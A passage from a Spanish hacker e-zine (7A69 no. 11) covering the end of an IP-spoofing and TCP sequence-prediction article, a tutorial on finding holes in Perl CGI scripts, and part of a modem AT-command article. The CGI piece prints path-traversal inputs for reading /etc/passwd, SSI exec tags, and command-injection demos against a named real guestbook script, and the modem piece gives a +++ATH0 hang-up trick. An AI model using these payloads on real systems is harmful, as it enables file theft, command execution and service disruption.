diferentes, en BSD generalmente son 5 y en Linux 6.

Bueno, lo siguiente. Trabajar con las SEQ y adivinando la cosa.
Ahora el atacante debe saber donde en el espacio de 32-bit de el
numero de SEQ esta TCP. Conectas a un puerto en la maquina donde
esta el objetivo (puerto 25 es una buena eleccion). Este proceso
es el mismo que el 3-way handshake pero ahora el atacante guarda
el valor del ISN mandado por el host objetivo. Esto es para con-
seguir el RTT (round-trip time), averiguas el tiempo y calculas
la media. Asi el atacante sabra el tiempo para averiguar cual es
el siguiente ISN y sabra el numero SEQ que esta aumentando (por:
128,000/sec y 64,000 por conexion). Asi tendra una buena idea de
cuanto tardara para un datograma de IP viajar por internet para
llegar al host objetivo.
NOTA: Sera similar a la mitad de RTT ya que es casi siempre sym-
metrica. Tambien recuerda que como llegue otra peticion al host
la ISN sera 64,000 mas.


---[ 8. Formas de prevenir ]

Pues como ya dije, el DoS por ejemplo, podria ser controlado con
solo activar el parche en el kernel. Pero el IP-spoofing basico
tambien puede ser controlado.

La forma mas clara, es no tener ningun host de confianza en tu
maquina. Y forzar a los usarios a loguear con telnet, shh, etc..
usando el nombre de usuario y la password.

Tambien muchos routers modernos ayudan a prevenir los ataques de
este tipo. Y solo con activar un filtrado de todo el trafico que
viene desde fuera de tu LAN debes estar bastante mas a salvo.

Finalmente solo mencionar brevemente que la cryptografia para el
flojo de datos (trafico) en tu red sea encriptada. Pero yo creo
que eso seria un coniazo :P.


---[ 9. Terminamos? Por hoy. ]

Antes de concluir quisiera decir que tendre pronto en mi web los
sources para programas de IP-spoofing. Creo que tendre un sitio
para que todo los hispanos que creamos algun script o prog de IP
spoofing lo tengamos todo juntito. Y tambien, subire pronto una
tradducion y un tutorial de 'spoofit.h' de Brecht Claerhout.

"Spoofit.h" esta lleno de funciones para facilitar el coding de
programas de spoofing. Estara traducido pronto para todos usteds
en mi web ( http://mnm.elein.net )

Eso es todo... por hoy!

By: mnm (mnm@elein.net)
Web: http://mnm.elein.net
Greetz: trycky, Anarion, JeT-Li, harvenz, Ripe, Lyk, Doing,
ladylizar, ICEFIRE, Era, iriinia, ddf, RooTDoWN, YbY,
mAnu8, Ca|n, tuxisuau, Ainaker, "#linux-malaga y #root".
Special: failure (thx for the help :P)

En http://mnm.elein.net , pronto habra
kiero hacer para hostear en un mismo sitio todo los programas
practicos de IP-spoofing creados por gente de habla hispana. y que
pronto tendre la web preparada o algo asi


-=(EOF)=- -=( 7A69 E-zine 11 )=--=( art13 )=--=( Fallos en los CGIs )=--=( Anarion )=-

Fallos de seguridad en los CGIs
-------------------------------

Como en cualquier otro programa, los cgis solo son susceptibles a ataques
cuando los programadores los programan mal, y no creo ke dar acceso CGI sea
peligroso en si, solo si se usan los programas inadecuados. Es como decir que
dar acceso a cualquier otro servicio es peligroso solo si los programadores
hayan tenido un descuido y pueda tener un bof.

Antes de nada supondremos ke no tenemos el codigo fuente del cgi y no sabemos
nada, como podria pasar si el cgi estuviera echo en C, o en cualquier otro
lenguaje. El problema principal en todos los cgis siempre es el mismo: NUNCA se
debe de creer ke la entrada de un formulario sera lo ke se espera, asi de
facil y sencillo. Si esto lo cumplieran los programadores, no habria cgis
explotables.
Bueno almenos no en perl, kes a lo ke mas voy a dedicar este articulo.

Aunque parezca mentira, aun hay programadores que no parsean la entrada que le
llega de un formulario creyendo que los usuarios pondran lo que se espera de el
los que pongan, que no pondran a prueba su cgi para conseguir aceso shell a la
maquina, enviarse los passwords o hacer otras cosas peores.

La manera de escribir un CGI seguro es parseando la entrada asi de facil.
Para eso la gente lo hara de dos maneras, asi que primero de todo cuando cojais
un codigo fuente de un cgi en perl buscad si usa el modulo CGI o no.

Si usa el modulo CGI, habra una linea ke pondra: use CGI; (al principio
normalmente). Bueno eso significa ke el usuario debera crear una variable de
este tipo con una sintaxis parecida a $variable = new CGI;
Como el modulo cgi no parsea la entrada tenemos que mirar kel usuario lo haga a
mano, que normalmente y asi podemos ver ke usa:
$variable=$algo->param("nombre_variable");
para leer las variables del formulario.

Antes de seguir mejor echarle un ojo a la cabezera pk si el programador es un
poco paranoico usara el modo -T ( Taint Mode) lo que significa kel perl marca
toda la entrada de datos no fiable y restringe las cosas que puedes aceder con
datos marcados como no fiables. No voy a contar como funciona todo el modo -T
pero se encarga de mirar los permisos del directorios, archivos, y como marca
todos los datos no fiables no podemos usarlos directamente en ninguna llamada a
ningun proceso que se ejecute en una sub-shell. A esto hay una exepcion y es
pasarle los datos a system o exec como una lista, entonces no los comprueba.

Bueno miremos si el programador parsea la entrada, al principio es logico
podria usar un bucle para checkear todas las variables o mirar si las checkea
luego una por una. Basicamente debe buscar 2 cosas, caracteres especiales, por
ejemplo el mitico %00 que es el caracter de fin de cadena en perl con lo cual
si una variable forma parte del nombre de un archivo, podemos saltarlos el
resto, esto añadido a ke al programador le da = ke pongamos ../ tantas veces
como keramos y que al administrador nos da acceso desde el nobody a todo el sistema, ya que por muchas razones, el apache no suele corre con chroot, podemos
abrir cualquier archivo del hd si sabemos el path.

Bueno como parsear la entrada es tan facil como o crear una funcion o una subrutina con algo parecido a :
$algo =~ /^([-\@\w.]+)$/;
# Solo permitimos \w = alfanumericos,"@","-" y ".". Podemos añadir por ejemplo
"_".

Para ver si parsea o o la entrada debemos mirar los param del objeto, si llama
$algo->param sin especificar el nombre de la variable devuelve una lista con
todas las variables que le pasan al formulario.

El otro metodo es no usar el modulo CGI y cojer y asignar las entradas uno mismo.
Esto se hace con la funcion read y luego lo normal es crear un hash con todas las entradas. normalmente
todo el mundo lo llama %FORM
El codigo sera algo parecido a esto:

read(STDIN, $buffer, $ENV{'CONTENT_LENGTH'}); <-- esta linea puede variar si
usa GET o POST

@pairs = split(/&/, $buffer);
foreach $pair (@pairs)
{
($name, $value) = split(/=/, $pair);
$value =~ tr/+/ /;
$value =~ s/%([a-fA-F0-9][a-fA-F0-9])/pack("C", hex($1))/eg;
$FORM{$name} = $value;
}

Hay algunos codigos con los ke puedes sobrescribir cualquier variable, pk usa
algo parecido a $name=$value; en vez de crear un hash con lo cual imaginaos ke
definimos anteriormente variables como $sendmail o $document_root o cualquier
cosa, la podrias sobrescribir solo con añadirlo a las variables ke nos llegan
de formulario.

Que podemos buscar para mirar si un cgi es o no explotable ... bueno una vez
visto que no parsea la entrada kizas tenemos que buscar donde aprovecharnos de
esto :)

La inseguridad la mayoria de veces se produce al llamar a una sub-shell o abrir
un fichero o pipe.
Primero debemos mirar si el programa usa nombres relativos o absolutos, ya ke
si son relativos kizas podamos sobrescribir el $ENV{PATH} y hacer ke llame a
nuestro programa en vez del ke se creia el script :)
Incluso aunque llame al programa con la ruta completa hay otras variables en
%ENV ke podria ser ke leyera ese programa, asi ke debemos mirar si el autor
limpia el %ENV. Entonces encontraremos una linea parecida a esto:

delete @ENV{qw(IFS CDPATH ENV BASH_ENV)}; # Make %ENV safer

kes lo ke aconsejan si leeis el manual del perl (man perlsec)

Antes de nada miremos todo lo ke se ejecuta en una sub-shell es decir
system, exec, o si usa backtricks `.
Por ejemplo:
system("/usr/lib/sendmail -t $foo_address < $input_file");
Pero yo dudo ke alguen sea lo suficientemente estupido como para dejarte
interpolar variables en un system.

lo mismo va por $directorio = `ls -c1 $algo` o cualquier sintaxis parecida.

La manera de llamar a una shell sin ke se tengan encuenta los metacaracteres es
pasandole una lista de argumentos, por ejemplo si vemos :

system "/usr/lib/sendmail -t",$mi_var;

no os serviran los metaracteres, o si veis ke hace un fork con un open y el nombre de archivo le pone |- o -| y luego hara un exec del subproceso

A pero al = no usa system y usa una pipe ... bueno eprobemos este codigo
perl -e ' $a = "/usr/lib/sendmail; ls -al / "; open(FILE,"|$a");print FILE "hola";'

Otra cosa a mirar a parte de usar sub-shells es si se utiliza eval.

Con eval una simple expresion regular se puede convertir en una manera de
explotarlo.

Supongamos ke keremos buscar en una linea la cadena introducida por un usuario:

$cadena = $algo->param("mi_cadena");

$texto =~ /$cadena/;

El problema es ke kien nos asegura ke en $cadena haya una expresion regular
valida ??

Entonces el programador ke no tiene un pelo de listo haria :

eval "... if $texto =~ /$cadena/;";

para ver si es una expresion regular valida o no pero deberia haber usado llaves para hacerlo seguro pk asi como esta podemos ejecutar cualquier codigo :)
Deberia haber usado llaves con eval {} ke si no lo trata como una cadena.
Ejemplo:

#!/usr/bin/perl
$a = '/; system "mkdir /tmp/hola"; /';
$b = "pepito";
print "A=$a\n";
eval "print 'Trobat\n' if $b =~ /$a/;";

O lo mas normal es que use open para leer un archivo de texto, pero si no parsea la entrada podremos poner
la ya tipic sintaxis ../../../../archivo%00 el %00 es el caracter de fin de cadena en perl
y es para que el open no siga leyendo lo ke hay acontinuacion i saltarnos la extesion. Por ejemplo:

open(FILE,"/mi_path/$algo.html"); se convierte en /mi_path/../../../../etc/passwd(caracter de fin de cadena).html

Como explotar los SSI
Cuando encontremos un guestbook o cualquier documento en ke despues de editarlo se vea por pagina web
podemos probar si reconoce o no los tags html de una manera aparentemente inocente probar a ponerun <b>
delante de una palabra si funcion podreis y tienen activado los ssi pos podreis ejecutar cualquier programa.

<!--#exec cgi="/cgi-bin/counter.pl-->
<!--#exec cmd="
ls -l /"-->

Otro posible problema en los cgis son las race conditions aunke la gente no suele darle importancia pero
en la mayoria de escripts no se comprueba los archivos ke se abren para lectura y/o escritura.

Voy a cojer algunos codigos fueten para examinar los errores:

CGI-Script MAILNEWS 1.3
This script helps you to maintain a mailinglist.
open (MAIL, "
|$mailprog $member") || die "Can't open $mailprog!\n";
Ops ke $member tan interesante ...

W3.ORG sendtemp.pl
my $temp_file = param("
templ");

Vaya no parsea la entrada, podemos enviarle lo que queramos
http://localhost/cgi-bin/sendtemp.pl?templ=../../etc/passwd

mm con 1 lineas dejaria de explotarse todas estas vulneralidades de directory transversal
print "
Error hack detected" and die "Sucks hack detected" if $variable =~ /\.\./;
Asi en resumen debemos mirar:

- Mirar si parsean la entrada
- Llamada a sub-shells, incluido opens i pipes
- Llamada a eval
- Mirar como leen las variables por si podemos sobrescribir la configuracion del propio programa
- Acceso SSI

Para acabar e cojido un guestbook i voy a mirarme yo su codigo haber ke
encuentro e ido a www.cgi-resources.com y e cojido el guestbook con mas votos.

Lars Ellingsen's Guestbook System, (11 comments) Rating: 9.56 (2515 votes)
Version: 4.06 - Released: 12/06/98 - Free - Platform(s): Unix, Windows NT
A highly configurable guestbook system that is very easy to install.
Includes e-mail notification, mail to guest, dirty-words removal, extensive html-filtering, separate configuration file and lots of different languages.

Linea 392

if ($FORM{'old_datafile'} && $show_old_files) {
$data_file = $FORM{'old_datafile'};
undef $entries_shown;
}

Linea 397

if (open(GUESTFILE,"
<${dirpath}${data_file}")) {

mmm vaya asi ke aber si ha parseado $FORM{'old_datafile'};

Veamos la entrada de datos del formulario

sub extract_forminfo {
if ($ENV{'REQUEST_METHOD'} eq "
GET") {
$buffer = $ENV{'QUERY_STRING'};
} else {
read(STDIN, $buffer, $ENV{'CONTENT_LENGTH'});
}

@pairs = split(/&/, $buffer);
foreach $pair (@pairs) {
($name, @values) = split(/=/, $pair);
$value = join ("
=", @values);
$value =~ tr/+/ /;
$value =~ s/%([a-fA-F0-9][a-fA-F0-9])/pack("
C", hex($1))/eg;
$FORM{$name} = $value;
}
$FORM{'name'} =~ s/\<[^\>]*\>//ig;
$FORM{'name'} =~ s/\<//g;
$FORM{'name'} =~ s/\>//g;
$FORM{'email'} =~ s/\<[^\>]*\>//ig;
$FORM{'email'} =~ s/\<//g;
$FORM{'email'} =~ s/\>//g;
$FORM{'email'} =~ s/\"
/_/g;

if ($FORM{'email'} !~ /^[^\@]*[\@][^\@]*?\.[^\@]*$/g) {
$FORM{'email'} = undef;
}
$FORM{'homepage'} =~ s/\<[^\>]*\>//ig;
$FORM{'homepage'} =~ s/\<//g;
$FORM{'homepage'} =~ s/\>//g;
$FORM{'homepage'} =~ s/\"/_/g;

$FORM{'location'} =~ s/\<[^\>]*\>//ig;
$FORM{'location'} =~ s/\<//g;
$FORM{'location'} =~ s/\>//g;
}

Ke vien parsea muchas cosas pero no $FORM{'old_datafile'}; mmm ke tal si
ponemos en : $FORM{'old_datafile'} = "
../../../../etc/passwd"; :P

925 $FORM{'email'} = undef if $FORM{'email'} =~ /[\,\;\:]/; Vaya
927 open (MAIL, "
|$mailprogram $mailaddress");

30 &send_mail if ($do_sendmail && $mailprogram && ($mailaddress =~ /\@/));

958 open (MAIL, "
|$mailprogram $FORM{'email'}");


Bua ahora si vemos como lo a parseado a intentado hacer su codigo seguro asi ke
ahora ya no es estupido, simplemente negligente.

$FORM{'email'} =~ s/\<[^\>]*\>//ig; # Busca ke el primer < seguido de 0 o mas caracteres diferentes de \ y > hasta el siguiente > y lo elimina
Es para eliminar los tags.
$FORM{'email'} =~ s/\<//g; # busca < y los elimina
$FORM{'email'} =~ s/\>//g; # Busca > y los elimina
$FORM{'email'} =~ s/\"
/_/g; # cambia " por _

957 if ($FORM{'email'} =~ /.*?\@.*?\..*?/) {
360 &mail_guest if ($mailto_guest && $mailprogram && ($FORM{'email'} !~ /[\,\:\;]/));
Vale no podemos poner ni , ni : ni ; ... ni < ni > bueno pondremos otra cosa ;)
Probad el siguiente codigo

#!/usr/bin/perl
$a="
nobody\@awayz.org \n ls -l<\n>";
print "
Al principio A = $a\n";
# Pasemosle los filtros ke le pasa el usuario este
$a =~ s/\<[^\>]*\>//ig; # en la rutina extract_forminfo pasa 4 substituciones
print "
Despues d la primera substitucion A = $a\n";
$a =~ s/\<//g;
$a =~ s/\>//g;
$a =~ s/\"
/_/g;

print "Despues de la todas las substituciones A = $a\n";
# Ahora al llamar a la funcion
if ($a !~ /[\,\:\;]/)
{
print "A dentro del primer if\nA = $a\n";
# Ahora dentro de la funcion
if ($a =~ /.*?\@.*?\..*?/) # busca lokesea@lokessea.lokesea i lo ke sea puede ser espacios asi
{ # podemos poners algo@dominio \n orden a ejecutar seguida de punto
print "A dentro del segundo if\nA = $a\n";
open(FILE,"|/usr/lib/sendmail $a") or die "sucks : $!";
print FILE "algu";
}
}

El resultado es la ejecucion de nuestro codigo ... Ops :P

-=(EOF)=
-=( 7A69#11 )=--=( art14 )=--=( Jugeteando con el Modem )=--=( tuxisuau )=-

Holas, soy tuxisuau y me podeis privmsg-ar en varias redes de IRC (IRC-Hispano
sobretodo), en canales sobre unix, linux, administracion de sistemas, etc.

Esta vez os hablare un poco de los modems, tras trastear unos dias con estos.
Hace unos dias estaba muy aburrido, pille el manual del modem y me dedique a
leer la referencia de comandos (interesante! voy a probar alguno). Para mis
primeras pruebas use "echo >/dev/ttyS0" y "cat /dev/ttyS0", un metodo
superrastrero y cutre, que "mas o menos" tiraba... al final me decidi a
apt-pillar minicom, un prog de comunicaciones con emulacion VT102 y ANSI. Por
cierto, si usais alguna distribucion no-debian, os aconsejo el canvio...

Este articulo pretende ser tan solo una introduccion, de manera que no
profundizare demasiado, lo unico que intento es despertar vuestra curiosidad...

*** Abramos minicom...
Welcome to minicom 1.83.1

OPTIONS: History Buffer, F-key Macros, Search History Buffer, I18n
Compiled on Apr 6 2001, 13:24:33.

Press CTRL-A Z for help on special keys


ATZ

OK
*** Que bonito, verdad? :)

Bien, minicom es superfacil de usar y guiado por menus, de manera que tampoco
me pondre a explicar como funciona, puesto que dispone de extensa ayuda...

Lo primero que hace minicom es mandar un ATZ (reset) a nuestro modem. Con ello
el modem pasa a nuestra disposicion y nos manda OK para

  
hacernos entender que
ha ejecutado correctamente la orden que le hemos mandado. Si ni tan solo
llegamos a este punto, quiza tengamos algun problema de permisos o tengamos
que decirle a nuestro minicom donde esta el modem... Si teneis un winmodem,
quiza tengais suerte y encontreis un driver por ahi, aunque de todas formas,
es dificil y no sera lo mismo.

Ahora seria una buena idea probar...

ATDT;

Con esto nuestro modem deberia descolgar como si quisiera marcar pero volver
otra vez al modo de comandos. Lo mas probable es que podamos oir el tono de
invitacion a la marcacion y si nos esperamos un rato, el contestador de la
timo...

Aqui podemos practicar el arte de marcar tonos multifrecuencia...

ATDT1;

Hemos marcado un uno (1) :)

Es muy importante el ;, ya que si no lo ponemos, el modem marcara y intentara
establecer una conexion, no volvera al modo comandos hasta que conecte o de un
error estilo NO CARRIER, BUSY, etc.

Cuando nos cansemos de hacer experimentos, podemos colgar:

ATH0

Con esto el modem colgara de forma pacifica. Tambien colgaremos si mandamos un
ATZ (reset) o si el modem intenta establecer una conexion y falla.

Ahora que estamos offline, podemos probar algunos comandos que no necesitan la
linea...

AT$

*** mi modem que es muy simpatico, responde...
HELP, Command Quick Reference (CTRL-S to Stop, CTRL-C to Cancel)

&$ HELP, Ampersand Commands Mn n=0 Speaker OFF
A/ Repeat Last Command n=1 Speaker ON Until CD
A> Continuously Repeat Command n=2 Speaker Always ON
AT Command Mode Prefix n=3 Speaker OFF During Dial
A Answer Call On n=0 Return Online
Bn n=0 V32 Mode/CCITT Answer Seq n=1 Return Online & Retrain
n=1 Bell Answer Seq P Pulse Dial
Dn Dial a Telephone Number Qn n=0 Result Codes Sent
n=0..9#*TPR,;W@!()- n=1 Quiet (No Result Codes)
DL Dial Last Phone Number n=2 Verbose/Quiet ON Answer
DSn Dial Stored Phone Number Sr=n Sets Register "r" to "n"
D$ HELP, Dial Commands Sr? Query Register "r"
En n=0 No Command Echo S$ HELP, S Registers
n=1 Echo Command Chars T Tone Dial
Fn n=0 Online Echo Vn n=0 Numeric Responses
n=1 No Online Echo n=1 Verbal Responses
Hn n=0 ON Hook (Hang Up) Xn n=0 Basic Result Codes
n=1 OFF Hook n=1 Extended Result Codes
In n=0 Product Code n=2-4 Advanced Result Codes
n=1 Checksum Yn n=0 Next Reset to &W0 settings
n=2 RAM Test n=1 Next Reset to &W1 settings
n=3 Product ID string n=2 Next Reset to &F0 settings
n=4 Current Settings n=3 Next Reset to &F1 settings
n=5 NVRAM Settings n=4 Next Reset to &F2 settings
n=6 Link Diagnostics Zn n=0 Yn
n=7 Product Configuration n=1 Reset to &W0 settings
n=9 PnP Enumeration Screen n=2 Reset to &W1 settings
n=11 Link Diagnostics n=3 Reset to &F0 settings
Ln n=0 Lowest Speaker Volume n=4 Reset to &F1 settings
n=1 Low Speaker Volume n=5 Reset to &F2 settings
n=2 Medium Speaker Volume +++ Escape Code
n=3 Highest Speaker Volume $ HELP, Command Summary

OK
*** ya puestos
ATD$
HELP, Dial Commands (CTRL-S to Stop, CTRL-C to Cancel)

0-9 Digits to Dial
* Auxiliary Tone Dial Digit
# Auxiliary Tone Dial Digit
T Tone Dialing
P Pulse Dialing
R Call an Originate Only Modem
, Pause (Wait for S8 Time)
/ Short Delay
; Remain in Command Mode After Dialing
W Wait for 2nd Dial Tone (X2,X4)
@ Wait for an Answer (X3-X4)
! Flash Switch Hook

OK
ATS$
HELP, S Register Functions (CTRL-S to Stop, CTRL-C to Cancel)

S0 Ring to Answer ON S27 Bit Mapped
S1 Counts # of Rings 1 = V21 Mode
S2 Escape Code Char 2 = Disable TCM
S3 Carriage Return Char 4 = Disable V32
S4 Line Feed Char 8 = Disable 2100hz
S5 Backspace Char 16 = Enable V23 Fallback
S6 Wait Time/Dial Tone (sec) 32 = Disable V32bis
S7 Wait Time/Carrier (sec) 64 = Reserved
S8 Comma Time (sec) 128 = Software Compatibility Mode
S9 Carrier Detect Time (1/10sec) S28 V32 Handshake Time (1/10sec)
S10 Carrier Loss Time (1/10sec) S29 V.21 answer mode fallback timer
S11 Dial Tone Spacing (msec) S30 Reserved
S12 Escape Code Time (1/50sec) S31 Reserved
S13 Bit Mapped S32 Connection bit mapped operations.
1 = Reset ON DTR Loss 1 = V.8 Call Indicate enable
2 = Reduced Non-ARQ TX Buffer 2 = Enable V.8 mode
4 = Set DEL=Backspace 4 = Reserved
8 = Do DS0 ON DTR 8 = Disable V.34 modulation
16 = Do DS0 ON Reset 16 = Disable V.34+ modulation
32 = Reserved 32 = Disable x2 modulation
64 = Disable Quick Retrains 64 = Disable V.90 modulation
128 = Escape Code Hang Up 128 = Reserved
S14 Reserved S33 V.34 & V.34+ Connection setup
S15 Bit Mapped bit mapped control flags.
1 = MNP/V.42 Disabled in V.22 1 = Disable 2400 Symbol rate
2 = MNP/V.42 Disabled in V.22bis 2 = Disable 2743 Symbol rate
4 = MNP/V.42 Disabled in V.32 4 = Disable 2800 Symbol rate
8 = Disable MNP Handshake 8 = Disable 3000 Symbol rate
16 = Disable MNP Level 4 16 = Disable 3200 Symbol rate
32 = Disable MNP Level 3 32 = Disable 3429 Symbol rate
64 = Unusual MNP-Incompatibility 64 = Reserved
128 = Disable V.42 128 = Disable Shaping
136 = Disable V.42 Detect Phase S34 V.34 & V.34+ Connection setup
S16 Test Modes bit mapped control flags.
1 = Reserved 1 = Disable 8S-2D trellis encoding
2 = Dial Test 2 = Disable 16S-4D trellis encoding
4 = Reserved 4 = Disable 32S-2D trellis encoding
8 = Reserved 8 = Disable 64S-4D trellis encoding
16 = Reserved 16 = Disable Non linear coding
32 = Reserved 32 = Disable TX level deviation
64 = Reserved 64 = Disable Pre-emphasis
128 = Reserved 128 = Disable Pre-coding
S17 Reserved S35 Reserved
S18 &Tn Test Timeout (sec) S36 Reserved
S19 Inactivity Timeout (min) S37 Reserved
S20 Reserved S38 Disconnect Wait Time (sec)
S21 Break Length (1/100sec) S39 Reserved
S22 Xon Char S40 Reserved
S23 Xoff Char S41 Reserved
S24 Reserved S42 Reserved
S25 DTR Recognition Time (1/100sec) S43 Reserved
S26 Reserved

OK
AT&$
HELP, Ampersand Commands (CTRL-S to Stop, CTRL-C to Cancel)

&An n=0 Disable /ARQ Result Codes &Rn n=1 Ignore RTS
n=1 Enable /ARQ Result Codes n=2 RX to DTE/RTS high
n=2 Enable /Modulation Codes &Sn n=0 DSR Always ON
n=3 Enable /Extra Result Codes n=1 Modem Controls DSR
&Bn n=0 Floating DTE Speed &Tn n=0 End Test
n=1 Fixed DTE Speed n=1 Analog Loopback (ALB)
n=2 DTE Speed Fixed When ARQ n=3 Digital Loopback (DLB)
&Cn n=0 CD Always ON n=4 Grant Remote DLB
n=1 Modem Controls CD n=5 Deny Remote DLB
&Dn n=0 Ignore DTR n=6 Remote Digital Loopback
n=1 On-Line Command Mode n=7 Remote DLB With Self Test
n=2 DTE Controls DTR n=8 ALB With Self Test
n=3 Reset ON DTR Loss &Un n=0 Variable link rate floor.
&Fn n=0 Load Factory 0, no FC n=1 Minimum link rate 300 bps
n=1 Load Factory 1, HW FC n=2 Minimum link rate 1200 bps
n=2 Load Factory 2, SW FC n=3 Minimum link rate 2400 bps
&Gn n=0 No Guard Tone n=4 Minimum link rate 4800 bps
n=1 550 Hz Guard Tone n=5 Minimum link rate 7200 bps
n=2 1800 Hz Guard Tone n=6 Minimum link rate 9600 bps
&Hn n=0 Disable TX Flow Control n=7 Minimum link rate 12000 bps
n=1 CTS n=8 Minimum link rate 14400 bps
n=2 Xon/Xoff n=9 Minimum link rate 16800 bps
n=3 CTS and Xon/Xoff n=10 Minimum link rate 19200 bps
&In n=0 Disable RX Flow Control n=11 Minimum link rate 21600 bps
n=1 Xon/Xoff n=12 Minimum link rate 24000 bps
n=2 Xon/Xoff Chars Filtered n=13 Minimum link rate 26400 bps
n=3 HP Enq/Ack Host Mode n=14 Minimum link rate 28800 bps
n=4 HP Enq/Ack Terminal Mode n=15 Minimum link rate 31200 bps
n=5 Xon/Xoff for non-ARQ Mode n=16 Minimum link rate 33600 bps
&Kn n=0 Disable Data Compression n=17 Minimum link rate 28000 bps
n=1 Auto Data Compression n=18 Minimum link rate 29333 bps
n=2 Enable Data Compression n=19 Minimum link rate 30666 bps
n=3 Selective Data Compression n=20 Minimum link rate 32000 bps
&Mn n=0 Normal Mode n=21 Minimum link rate 33333 bps
n=4 ARQ/Normal Mode n=22 Minimum link rate 34666 bps
n=5 ARQ Mode n=23 Minimum link rate 36000 bps
&Nn n=0 Highest Link Speed n=24 Minimum link rate 37333 bps
n=1 300 bps n=25 Minimum link rate 38666 bps
n=2 1200 bps n=26 Minimum link rate 40000 bps
n=3 2400 bps n=27 Minimum link rate 41333 bps
n=4 4800 bps n=28 Minimum link rate 42666 bps
n=5 7200 bps n=29 Minimum link rate 44000 bps
n=6 9600 bps n=30 Minimum link rate 45333 bps
n=7 12000 bps n=31 Minimum link rate 46666 bps
n=8 14400 bps n=32 Minimum link rate 48000 bps
n=9 16800 bps n=33 Minimum link rate 49333 bps
n=10 19200 bps n=34 Minimum link rate 50666 bps
n=11 21600 bps n=35 Minimum link rate 52000 bps
n=12 24000 bps n=36 Minimum link rate 53333 bps
n=13 26400 bps n=37 Minimum link rate 54666 bps
n=14 28800 bps n=38 Minimum link rate 56000 bps
n=15 31200 bps n=39 Minimum link rate 57333 bps
n=16 33600 bps &Wn n=0 Store Configuration 0
n=17 28000 bps n=1 Store Configuration 1
n=18 29333 bps &Yn n=0 Destructive
n=19 30666 bps n=1 Destructive/Expedited
n=20 32000 bps n=2 Nondest./Expedited
n=21 33333 bps n=3 Nondest./Unexpedited
n=22 34666 bps &Zn=s Store Phone Number
n=23 36000 bps &Zn? Query Phone Number
n=24 37333 bps
n=25 38666 bps #CID=n
n=26 40000 bps n=0 Caller ID Off
n=27 41333 bps n=1 Formatted Caller ID
n=28 42666 bps n=2 Unformatted Caller ID
n=29 44000 bps
n=30 45333 bps
n=31 46666 bps
n=32 48000 bps
n=33 49333 bps
n=34 50666 bps
n=35 52000 bps
n=36 53333 bps
n=37 54666 bps
n=38 56000 bps
n=39 57333 bps
&Pn n=0 Pulse Dial Disabled
n=1 Austria,Czech.,Denmark,
Finland,Germany,Italy
Netherlands,Switzerland,U.S.
(2nd option for Asia,France,)
(Korea,Norway,S. Africa)
n=2 Australia,Asia,Belgium
France,Ireland,Korea
Portugal,S. Africa,Spain,U.K.
(2nd option for Austria,)
(Denmark,Germany,Japan,US)
n=3 Norway
n=4 New Zealand
n=5 Japan
n=6 Sweden
n=7 (2nd option for Australia)

OK
*** Nos ha soltado unas buenas parrafadas... He de mencionar que he modificado
un poco la salida para que cuadre con el formato de la ezine.

Como vemos, si los comandos preceden de A> en vez de AT, estos se repiten en
plan bucle infinito y si enviamos A/ se repite el ultimo comando.

El comando In me ha llamado la atencion, lo probare...

ATI1
2D9F

OK
ATI2
OK

OK
ATI3
U.S. Robotics 56K Message Rev. 14.9.1

OK
ATI5
U.S. Robotics 56K Message Profile Settings...

Template Y0

DIAL=TONE B0 E1 F1 L2 M1 Q0 V1 X4
SPEED=57600 PARITY=N WORDLEN=8

&A3 &B1 &C1 &D2 &H1 &I0 &K1 &M4 &N0
&P0 &R2 &S0 &T5 &U0 &Y1

S00=000 S02=043 S03=013 S04=010 S05=008 S06=004 S07=060
S08=002 S09=006 S10=014 S11=072 S12=050 S13=000 S15=000
S19=000 S21=010 S22=017 S23=019 S25=005 S27=001 S28=008
S29=020 S30=000 S31=128 S32=002 S33=000 S34=000 S35=000
S36=014 S38=000 S39=012 S40=000 S41=004 S42=000

Strike a key when ready . . .


Template Y1

DIAL=TONE B0 E1 F1 L2 M1 Q0 V1 X4
SPEED=115200 PARITY=N WORDLEN=8

&A3 &B1 &C1 &D2 &H2 &I2 &K1 &M4 &N0
&P0 &R1 &S0 &T5 &U0 &Y1

S00=000 S02=043 S03=013 S04=010 S05=008 S06=004 S07=060
S08=002 S09=006 S10=014 S11=072 S12=050 S13=000 S15=000
S19=000 S21=010 S22=017 S23=019 S25=005 S27=001 S28=008
S29=020 S30=000 S31=128 S32=002 S33=000 S34=000 S35=000
S36=014 S38=000 S39=012 S40=000 S41=004 S42=000

STORED PHONE #0:
#1:
#2:
#3:

OK
ATI6
U.S. Robotics 56K Message Link Diagnostics...

Chars sent 0 Chars Received 0
Chars lost 0
Octets sent 0 Octets Received 0
Blocks sent 0 Blocks Received 0
Blocks resent 0

Retrains Requested 0 Retrains Granted 0
Line Reversals 0 Blers 0
Link Timeouts 0 Link Naks 0

Data Compression NONE
Equalisation Long
Fallback Enabled
Last Call 00:00:00

No Connection

OK
ATI7
Configuration Profile...

Product type CTR-21 External
Product ID: 24566801
Options V32bis,V.80,V.34+,x2,V.90
Fax Options Class 1/Class 2.0
Line Options Caller ID
Voice Options Speakerphone, TAD
Clock Freq 92.0Mhz
EPROM 256k
RAM 32k

FLASH date 2/26/99
FLASH rev 14.9.1

DSP date 2/26/99
DSP rev 14.9.1

OK
ATI8
Blacklist
Time: 00:41:02
Dialed Numbers: Inactive
Dial Attempts: Inactive

OK
ATI9
(1.0USR0088\\Modem\USR9100\U.S. Robotics 56K Message)FF

OK
ATI10
ERROR
ATI11
U.S. Robotics 56K Message Link Diagnostics...


Modulation Unknown Speed
Carrier Freq (Hz)
Symbol Rate
Trellis Code
Nonlinear Encoding
Precoding
Shaping
Preemphasis (-dB)
Recv/Xmit Level (-dBm)
Near Echo Loss (dB)
Far Echo Loss (dB)
Carrier Offset (Hz)
Round Trip Delay (msec)
Timing Offset (ppm)
SNR (dB)
Speed Shifts Up/Down 0/0
Status :

OK
ATI12
ERROR
*** Podria seguir probando, pero no tengo ganas...

Parece ser que ATI8 no salia en las instrucciones... blacklist, curioso.

Bien, muchos ATI's de estos parece que no devuelven demasiada informacion...
Quiza ejecutandolos con una conexion establecida? Y bien, como se hace eso?
Pues usando el codigo de escape (+++)
Basicamente, consiste en introducir +++COMANDO, por ejemplo, +++ATI11.
Algunos lectores estaran teniendo ya malas ideas... si amigos, hay un DoS para
modems que consiste en esto, en hacer que la victima mande hacia el modem un
+++ATH0 para colgar XD, para ello podemos meterlo en un ICMP incluso en el irc
basta con ponerlo como cadena de ping estilo:

/ctcp feo PING :+++ATH0

Por suerte la mayoria de los modems permiten ignorar el +++ y lo hacen, solo
algunos modems cutres son vulnerables a este DoS. Hay que mencionar que he
